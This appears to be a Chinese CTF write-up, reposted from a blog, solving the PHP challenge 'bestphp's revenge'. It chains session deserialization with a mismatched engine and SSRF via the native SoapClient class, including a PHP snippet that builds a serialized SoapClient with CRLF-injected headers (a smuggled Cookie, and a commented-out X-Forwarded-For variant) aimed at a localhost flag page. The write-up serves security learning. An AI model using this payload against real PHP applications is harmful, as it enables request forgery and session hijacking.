bestphp‘s revenge

前言

很有意思的一道题目,知识点虽然都是很常见的,但是结合到一起去思考,去解题就是很困难的了。
这道题大致涉及了这些知识点:

  1. session反序列化
  2. PHP原生类SoapClient的SSRF。
  3. 变量覆盖。
  4. CRLF

WP

这题其实也是有提示的,访问一下flag.php,可以提示要127.0.0.1,暗示了SSRF。再加上session,很容易想到session反序列化,利用PHP的原生类实现SSRF。
首先写一下反序列化的构造:

<?php
$a = new SoapClient(null,
    array(
        //'user_agent' => "feng\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
        'user_agent' => "feng\r\nCookie:PHPSESSID=d3ao04u25q6hoh3c4jbead9ru9",
        'uri' => 'feng',
        'location' => 'http://127.0.0.1/flag.php'
    )
);
$b = serialize($a);
#$c = unserialize($b);
#$c->not_a_function();//调用不存在的方法,让SoapClient调用__call
echo urlencode($b);
//$a->hello();

之所以我还设置了一下session,就是因为flag.php那里是把flag写在当前的session中,但是访问的话容易出现504,所以就写在其他的session里面,到时候直接改session访问即可。

之所以能利用session反序列化,还是利用session序列化和反序列化时定义的引擎不同:
在这里插入图片描述
正常的session反序列化的引擎都是php,但是可以设置,使得序列化和反序列化时的引擎不同,造成session反序列化漏洞。
这个引擎的设置就在这里:

call_user_func($_GET['f'], $_POST);

正常肯定是ini_set来设置,但是它不接受数组,正好session_start接受:
在这里插入图片描述
因此利用第一步,先更改session序列化时候的引擎,但是将payload写入session中:
在这里插入图片描述
之后再调用这个PHP原生类的不存在的方法,触发SSRF:
在这里插入图片描述
再将PHPSESSID改成payload中构造的那个,再访问页面即可得到flag:
在这里插入图片描述

反思

这道题真的是超级有意思的,考察了反序列化的知识点灵活的运用。我没能做出来大致有2点吧,第一点就是我其实思考的时候想到了那个PHP原生类的SSRF,但是我一想没需要SSRF的点啊,因为我当时不知道有flag.php,所以这个思路就没继续往下想。
第二点就是我想到了session反序列化,但是我觉得我觉得session内容并没法触发反序列化,我并不知道session_start这个函数正好可以接受数组,来进行设置。
还是太菜了,思路还要更广,更灵活一些才行。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114445325
今日推荐